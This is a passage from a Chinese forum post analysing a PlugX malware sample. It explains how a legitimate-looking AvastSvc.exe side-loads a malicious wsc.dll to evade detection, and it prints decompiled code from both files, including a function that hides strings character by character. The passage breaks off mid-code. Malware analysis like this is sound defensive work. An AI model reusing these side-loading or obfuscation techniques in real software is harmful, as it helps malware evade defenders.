-
UID:17777
-
- 注册时间2007-05-02
- 最后登录2025-05-02
- 在线时间18636小时
-
- 发帖786303
- 搜Ta的帖子
- 精华0
- 飞翔币211574
- 威望215717
- 飞扬币2615136
- 信誉值8
-
访问TA的空间加好友用道具
- 发帖
- 786303
- 飞翔币
- 211574
- 威望
- 215717
- 飞扬币
- 2615136
- 信誉值
- 8
|
PlugX样本分析本片文章对PlugX某样本行为进行分析。样本信息样本的基本信息解压样本发现样本文件夹内有三个文件,分别是AvastSvc.exe、wsc.dll、AvastAuth.dat。下面对文件逐个进行分析。AvastSvc.exe这是一个白文件,程序只有一个start函数,内容是导入wsc.dll,执行其run()函数。 复制代码 隐藏代码void __noreturn start(){ HMODULE v0; // eax@1 HMODULE v1; // esi@1 FARPROC v2; // edi@2 LPWSTR v3; // eax@3 DWORD v4; // edi@3 v0 = LoadLibraryW(L"wsc.dll"); v1 = v0; if ( v0 ) { v2 = GetProcAddress(v0, "_run@4"); if ( v2 ) { v3 = GetCommandLineW(); v4 = ((int (__stdcall *)(_DWORD))v2)(v3); FreeLibrary(v1); } else { v4 = GetLastError(); FreeLibrary(v1); } } else { v4 = GetLastError(); } ExitProcess(v4);}可以看到样本为了躲避检测采取了白+黑的方式进行,这也是许多恶意软件用来躲避检测的常见方式。wsc.dll先对dll文件进行静态分析 复制代码 隐藏代码int sub_10001BF0(){ HMODULE v0; // eax@1 FARPROC v1; // eax@1 unsigned int i; // [sp+0h] [bp-1ACh]@5 char v4; // [sp+Bh] [bp-1A1h]@1 char v5; // [sp+Bh] [bp-1A1h]@3 char v6; // [sp+Bh] [bp-1A1h]@5 CHAR String2; // [sp+Ch] [bp-1A0h]@3 char v8; // [sp+Dh] [bp-19Fh]@3 int v9; // [sp+4Ch] [bp-160h]@3 _BYTE *v10; // [sp+50h] [bp-15Ch]@3 CHAR String1; // [sp+54h] [bp-158h]@1 char v12; // [sp+55h] [bp-157h]@1 int v13; // [sp+15Ch] [bp-50h]@3 unsigned int v14; // [sp+160h] [bp-4Ch]@5 char v15; // [sp+164h] [bp-48h]@1 char v16; // [sp+165h] [bp-47h]@1 char v17; // [sp+166h] [bp-46h]@1 char v18; // [sp+167h] [bp-45h]@1 char v19; // [sp+168h] [bp-44h]@1 char v20; // [sp+169h] [bp-43h]@1 char v21; // [sp+16Ah] [bp-42h]@1 char v22; // [sp+16Bh] [bp-41h]@1 char v23; // [sp+16Ch] [bp-40h]@1 char v24; // [sp+16Dh] [bp-3Fh]@1 char v25; // [sp+16Eh] [bp-3Eh]@1 CHAR ModuleName; // [sp+170h] [bp-3Ch]@1 char v27; // [sp+171h] [bp-3Bh]@1 char v28; // [sp+172h] [bp-3Ah]@1 char v29; // [sp+173h] [bp-39h]@1 char v30; // [sp+174h] [bp-38h]@1 char v31; // [sp+175h] [bp-37h]@1 char v32; // [sp+176h] [bp-36h]@1 char v33; // [sp+177h] [bp-35h]@1 char v34; // [sp+178h] [bp-34h]@1 char v35; // [sp+17Ch] [bp-30h]@3 int v36; // [sp+17Dh] [bp-2Fh]@3 int v37; // [sp+184h] [bp-28h]@5 int v38; // [sp+188h] [bp-24h]@1 int v39; // [sp+18Ch] [bp-20h]@3 CHAR ProcName; // [sp+190h] [bp-1Ch]@1 char v41; // [sp+191h] [bp-1Bh]@1 char v42; // [sp+192h] [bp-1Ah]@1 char v43; // [sp+193h] [bp-19h]@1 char v44; // [sp+194h] [bp-18h]@1 char v45; // [sp+195h] [bp-17h]@1 char v46; // [sp+196h] [bp-16h]@1 char v47; // [sp+197h] [bp-15h]@1 char v48; // [sp+198h] [bp-14h]@1 char v49; // [sp+199h] [bp-13h]@1 char v50; // [sp+19Ah] [bp-12h]@1 char v51; // [sp+19Bh] [bp-11h]@1 char v52; // [sp+19Ch] [bp-10h]@1 char v53; // [sp+19Dh] [bp-Fh]@1 char v54; // [sp+19Eh] [bp-Eh]@1 char v55; // [sp+19Fh] [bp-Dh]@1 char v56; // [sp+1A0h] [bp-Ch]@1 char v57; // [sp+1A1h] [bp-Bh]@1 char v58; // [sp+1A2h] [bp-Ah]@1 _BYTE *v59; // [sp+1A8h] [bp-4h]@1 v15 = '\'; v16 = 'A'; v17 = 'v'; v18 = 'a'; v19 = 's'; v20 = 't'; v21 = 'A'; v22 = 'u'; v23 = 't'; v24 = 'h'; v25 = ' |